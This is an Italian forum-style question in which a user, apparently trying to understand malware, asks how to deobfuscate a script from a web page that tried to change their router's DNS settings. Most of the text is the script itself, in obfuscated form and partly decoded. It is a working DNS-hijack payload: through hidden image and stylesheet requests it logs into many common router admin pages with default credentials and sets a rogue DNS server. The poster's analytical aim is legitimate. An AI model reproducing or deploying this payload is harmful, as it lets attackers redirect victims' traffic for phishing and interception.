Ho trovato questo script su una pagina Web che ha tentato di modificare la configurazione DNS del mio router. Ma non riesco a capire quale tipo di crittografia o di offuscamento sia usato.
Ecco un esempio del codice sulla pagina:
<script language=JavaScript> valor='%252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252525252520var%2525252525225525252525252525252525252525252525252520dnsprimario%2525252525252525252525252522525252525252525252525252525252525252525252525252525252525252525252525252552525252525252525252525252525252525252525252
Ho sostituito tutti i "25" di "" e ottengo questo:
<script language=JavaScript>
valor='%20var%20dnsprimario%20%3D%20%22103.31.0.140%22%3B%0A%20%20%20%20var%20dnssecundario%20%3D%20%228.8.8.8%22%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//192.168.0.1/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//10.1.1.1/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//192.168.1.1/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//root%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//184.170.140.162/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//user%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//10.0.0.1/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%22%20height%3D1%20width%3D1%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/userRpm/WanDynamicIpCfgRpm.htm%3Fwantype%3DDynamic+IP%26hostName%3D%26mtu%3D1500%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26Save%3DSave%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/userRpm/WanDynamicIpCfgRpm.htm%3Fwan%3D0%26wantype%3D0%26mtu%3D1500%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26hostName%3D%26flagMode%3D2%26Save%3DSave%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/userRpm/WanDynamicIpCfgRpm.htm%3Fmtu%3D1500%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26Save%3DSave%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/userRpm/WanDynamicIpCfgRpm.htm%3Fmtu%3D1500%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26Save%3DSave%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/userRpm/WanStaticIpCfgRpm.htm@wan%3D0%26wantype%3D1%26ip%3D0.0.0.0%26mask%3D0.0.0.0%26gateway%3D0.0.0.0%26mtu%3D1500%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26Save%3DSave%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//192.168.1.1/userRpm/PPPoECfgAdvRpm.htm%3Fwan%3D0%26lcpMru%3D1480%26ServiceName%3D%26AcName%3D%26EchoReq%3D0%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26downBandwidth%3D0%26upBandwidth%3D0%26Save%3D%26Advanced%3DAdvanced%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//192.168.2.1/userRpm/PPPoECfgAdvRpm.htm%3Fwan%3D0%26lcpMru%3D1480%26ServiceName%3D%26AcName%3D%26EchoReq%3D0%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26downBandwidth%3D0%26upBandwidth%3D0%26Save%3D%26Advanced%3DAdvanced%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%3Aadmin@http%3A//192.168.1.1/userRpm/PPPoECfgAdvRpm.htm%3Fwan%3D0%26lcpMru%3D1480%26ServiceName%3D%26AcName%3D%26EchoReq%3D0%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26downBandwidth%3D0%26upBandwidth%3D0%26Save%3D%20%26Advanced%3DAdvanced%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/userRpm/WanDynamicIpCfgRpm.htm%3Fwan%3D0%26wantype%3D0%26mtu%3D1500%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26hostName%3DTLINK%26Save%3DSave%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/userRpm/WanDynamicIpCfgRpm.htm%3Fwan%3D0%26wantype%3D0%26mtu%3D1500%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26hostName%3DTLINK%26Save%3DSave%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/start_apply.htm%3Fwan_dns1_x%3D%27+dnsprimario+%27%26wan_dns2_x%3D%27+dnssecundario+%27%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3Aadmin%[email protected]/start_apply.htm%3Fwan_dns1%3D%27+dnsprimario+%27%26wan_dns2%3D%27+dnssecundario+%27%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3Aadmin%[email protected]/start_apply.htm%3Fwan_dns1%3D%27+dnsprimario+%27%26wan_dns2%3D%27+dnssecundario+%27%20%3E%27%29%3B%20%20%20%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/start_apply.htm%3Fdnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%20%3E%27%29%3B%20%0A%20%20%20%20document.write%28%27%3Cstyle%20type%3D%22text/css%22%3E@import%20url%28http%3A//admin%[email protected]/prim.htm%3F_scb%3D0%26_ccb%3D0%26N00010003%3D0x00%26_cce%3D0x80010008%26_ccb%3D0x80010009%26S00035002%3D%26N001E000D%3D%26_cce%3D0x80010009%26_ccb%3D0x80010009%26_start_0000%3D%26I00110001%3D%26I00110002%3D%26I00110003%3D%26I00110004%3D%26I00110005%3D%26N00110009%3D1500%26_start_0100%3D%26I00035007%3D%27+dnsprimario+%27%26I00035008%3D%27+dnssecundario+%27%26N00035009%3D1500%26_sce%3D%Nsc0%26B0001000F%3D%26_sce%3D%Nsc1%26N0003500E%3D1%26S00040100%3D%26S00040200%3D%26_S00040200%3D%26S00040600%3D%26I00040300%3D%26I00040700%3D%26I00040800%3D%26N00040A00%3D1492%26N00040912%3D1%26N00050E00%3D1%26I00050300%3D%26I00050400%3D%26I00050500%3D%26S00050600%3D%26S00050100%3D%26S00050200%3D%26_S00050200%3D%26N00050911%3D1%26N00060E00%3D1%26I00060300%3D%26I00060400%3D%26I00060500%3D%26S00060600%3D%26S00060100%3D%26S00060200%3D%26_S00060200%3D%26N00060002%3D1%26N001E0015%3D2%26N001E002B%3D0%26S00201200%3Dvivo%26S001E0001%3Dvivo%26S001E0002%3D*****%26_S001E0002%3D*****%26S001E0005%3D*99%23%26N001E000F%3D1%26S001E0003%3Dzap.vivo.com.br%26S001E0004%3D%26N001E0032%3D1%26I001E0008%3D%26I001E0009%3D%26N001E0010%3D0%26N001E0020%3D%26N001E0090%3D0%26N001E0017%3D%26_end_0500%3D%26_cce%3D0x80010009%26_sce%3D%Ssc%29%3B%3C/style%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cstyle%20type%3D%22text/css%22%3E@import%20url%28http%3A//admin%[email protected]/prim.htm%3F_scb%3D0%26_ccb%3D0%26N00010003%3D0x00%26_cce%3D0x80010008%26_ccb%3D0x80010009%26S00035002%3D%26N001E000D%3D%26_cce%3D0x80010009%26_ccb%3D0x80010009%26_start_0000%3D%26I00110001%3D%26I00110002%3D%26I00110003%3D%26I00110004%3D%26I00110005%3D%26N00110009%3D1500%26_start_0100%3D%26I00035007%3D%27+dnsprimario+%27%26I00035008%3D%27+dnssecundario+%27%26N00035009%3D1500%26_sce%3D%Nsc0%26B0001000F%3D%26_sce%3D%Nsc1%26N0003500E%3D1%26S00040100%3D%26S00040200%3D%26_S00040200%3D%26S00040600%3D%26I00040300%3D%26I00040700%3D%26I00040800%3D%26N00040A00%3D1492%26N00040912%3D1%26N00050E00%3D1%26I00050300%3D%26I00050400%3D%26I00050500%3D%26S00050600%3D%26S00050100%3D%26S00050200%3D%26_S00050200%3D%26N00050911%3D1%26N00060E00%3D1%26I00060300%3D%26I00060400%3D%26I00060500%3D%26S00060600%3D%26S00060100%3D%26S00060200%3D%26_S00060200%3D%26N00060002%3D1%26N001E0015%3D2%26N001E002B%3D0%26S00201200%3Dvivo%26S001E0001%3Dvivo%26S001E0002%3D*****%26_S001E0002%3D*****%26S001E0005%3D*99%23%26N001E000F%3D1%26S001E0003%3Dzap.vivo.com.br%26S001E0004%3D%26N001E0032%3D1%26I001E0008%3D%26I001E0009%3D%26N001E0010%3D0%26N001E0020%3D%26N001E0090%3D0%26N001E0017%3D%26_end_0500%3D%26_cce%3D0x80010009%26_sce%3D%Ssc%29%3B%3C/style%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cstyle%20type%3D%22text/css%22%3E@import%20url%28http%3A//[email protected]/prim.htm%3F_scb%3D0%26_ccb%3D0%26N00010003%3D0x00%26_cce%3D0x80010008%26_ccb%3D0x80010009%26S00035002%3D%26N001E000D%3D%26_cce%3D0x80010009%26_ccb%3D0x80010009%26_start_0000%3D%26I00110001%3D%26I00110002%3D%26I00110003%3D%26I00110004%3D%26I00110005%3D%26N00110009%3D1500%26_start_0100%3D%26I00035007%3D%27+dnsprimario+%27%26I00035008%3D%27+dnssecundario+%27%26N00035009%3D1500%26_sce%3D%Nsc0%26B0001000F%3D%26_sce%3D%Nsc1%26N0003500E%3D1%26S00040100%3D%26S00040200%3D%26_S00040200%3D%26S00040600%3D%26I00040300%3D%26I00040700%3D%26I00040800%3D%26N00040A00%3D1492%26N00040912%3D1%26N00050E00%3D1%26I00050300%3D%26I00050400%3D%26I00050500%3D%26S00050600%3D%26S00050100%3D%26S00050200%3D%26_S00050200%3D%26N00050911%3D1%26N00060E00%3D1%26I00060300%3D%26I00060400%3D%26I00060500%3D%26S00060600%3D%26S00060100%3D%26S00060200%3D%26_S00060200%3D%26N00060002%3D1%26N001E0015%3D2%26N001E002B%3D0%26S00201200%3Dvivo%26S001E0001%3Dvivo%26S001E0002%3D*****%26_S001E0002%3D*****%26S001E0005%3D*99%23%26N001E000F%3D1%26S001E0003%3Dzap.vivo.com.br%26S001E0004%3D%26N001E0032%3D1%26I001E0008%3D%26I001E0009%3D%26N001E0010%3D0%26N001E0020%3D%26N001E0090%3D0%26N001E0017%3D%26_end_0500%3D%26_cce%3D0x80010009%26_sce%3D%Ssc%29%3B%3C/style%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cstyle%20type%3D%22text/css%22%3E@import%20url%28http%3A//[email protected]/prim.htm%3F_scb%3D0%26_ccb%3D0%26N00010003%3D0x00%26_cce%3D0x80010008%26_ccb%3D0x80010009%26S00035002%3D%26N001E000D%3D%26_cce%3D0x80010009%26_ccb%3D0x80010009%26_start_0000%3D%26I00110001%3D%26I00110002%3D%26I00110003%3D%26I00110004%3D%26I00110005%3D%26N00110009%3D1500%26_start_0100%3D%26I00035007%3D%27+dnsprimario+%27%26I00035008%3D%27+dnssecundario+%27%26N00035009%3D1500%26_sce%3D%Nsc0%26B0001000F%3D%26_sce%3D%Nsc1%26N0003500E%3D1%26S00040100%3D%26S00040200%3D%26_S00040200%3D%26S00040600%3D%26I00040300%3D%26I00040700%3D%26I00040800%3D%26N00040A00%3D1492%26N00040912%3D1%26N00050E00%3D1%26I00050300%3D%26I00050400%3D%26I00050500%3D%26S00050600%3D%26S00050100%3D%26S00050200%3D%26_S00050200%3D%26N00050911%3D1%26N00060E00%3D1%26I00060300%3D%26I00060400%3D%26I00060500%3D%26S00060600%3D%26S00060100%3D%26S00060200%3D%26_S00060200%3D%26N00060002%3D1%26N001E0015%3D2%26N001E002B%3D0%26S00201200%3Dvivo%26S001E0001%3Dvivo%26S001E0002%3D*****%26_S001E0002%3D*****%26S001E0005%3D*99%23%26N001E000F%3D1%26S001E0003%3Dzap.vivo.com.br%26S001E0004%3D%26N001E0032%3D1%26I001E0008%3D%26I001E0009%3D%26N001E0010%3D0%26N001E0020%3D%26N001E0090%3D0%26N001E0017%3D%26_end_0500%3D%26_cce%3D0x80010009%26_sce%3D%Ssc%29%3B%3C/style%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cstyle%20type%3D%22text/css%22%3E@import%20url%28http%3A//admin%[email protected]/userRpm/WanDynamicIpCfgRpm.htm%3Fwan%3D0%26wantype%3D0%26mtu%3D1500%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26hostName%3DTLINK%26Save%3DSave%29%3B%3C/style%3E%27%29%3B%0A%20%20%20%20document.write%28%27%3Cstyle%20type%3D%22text/css%22%3E@import%20url%28http%3A//admin%[email protected]/userRpm/WanDynamicIpCfgRpm.htm%3Fwan%3D0%26wantype%3D0%26mtu%3D1500%26manual%3D2%26dnsserver%3D%27+dnsprimario+%27%26dnsserver2%3D%27+dnssecundario+%27%26hostName%3DTLINK%26Save%3DSave%29%3B%3C/style%3E%27%29%3B%0A%20%20%20%20function%20CapturarIP%28%29%20%7B%20%20%0A%20%20%20%20if%20%28window.XMLHttpRequest%29%20xmlhttp%20%3D%20new%20XMLHttpRequest%28%29%3B%20%20%0A%20%20%20%20else%20xmlhttp%20%3D%20new%20ActiveXObject%28%22Microsoft.XMLHTTP%22%29%3B%20%20%0A%20%20%0A%20%20%20%20xmlhttp.open%28%22GET%22%2C%22http%3A//api.hostip.info/get_html.php%22%2Cfalse%29%3B%20%20%0A%20%20%20%20xmlhttp.send%28%29%3B%20%20%0A%20%20%0A%20%20%20%20hostipInfo%20%3D%20xmlhttp.responseText.split%28%22%5Cn%22%29%3B%20%20%0A%20%20%0A%20%20%20%20for%20%28i%3D0%3B%20hostipInfo.length%20%3E%3D%20i%3B%20i++%29%20%7B%20%20%0A%20%20%20%20%20%20%20%20ipAddress%20%3D%20hostipInfo%5Bi%5D.split%28%22%3A%22%29%3B%20%20%0A%20%20%20%20%20%20%20%20if%20%28%20ipAddress%5B0%5D%20%3D%3D%20%22IP%22%20%29%20return%20ipAddress%5B1%5D%3B%20%20%0A%20%20%20%20%7D%20%20%0A%20%20%0A%20%20%20%20return%20false%3B%20%20%0A%20%20%20%20%7D%0A%0A%0Avar%20ip%20%3D%20CapturarIP%28%29%3B%0A%20%20%20document.write%28%27%3Cstyle%20type%3D%22text/css%22%3E@import%20url%28http%3A//%27+ip+%27/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRefresh%3D1%29%3B%3C/style%3E%27%29%3B%0A%3C/script%3E%0A%3Cscript%20language%3DJavaScript%3E%0A%20%20%20%20var%20dnsprimario%20%3D%20%22103.31.0.140%22%3B%0A%20%20%20%20var%20dnssecundario%20%3D%20%228.8.8.8%22%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRef%0A%0A//jsunpack.url%20var%20newurl%20%3D%20%3Cscript%20language%3DJavaScript%3E%0A%20%20%20%20var%20dnsprimario%20%3D%20%22103.31.0.140%22%3B%0A%20%20%20%20var%20dnssecundario%20%3D%20%228.8.8.8%22%3B%0A%20%20%20%20document.write%28%27%3Cimg%20src%3D%22http%3A//admin%[email protected]/dnscfg.cgi%3FdnsPrimary%3D%27+dnsprimario+%27%26dnsSecondary%3D%27+dnssecundario+%27%26dnsDynamic%3D0%26dnsRef';document.write('<'+'script>'+unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(unescape(valor))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))+'</s'+'cript>')
Che tipo di offuscamento o crittografia è? C'è un modo per decrittografare lo script originale e rimuovere tutti i caratteri "25" e gli URL codificati?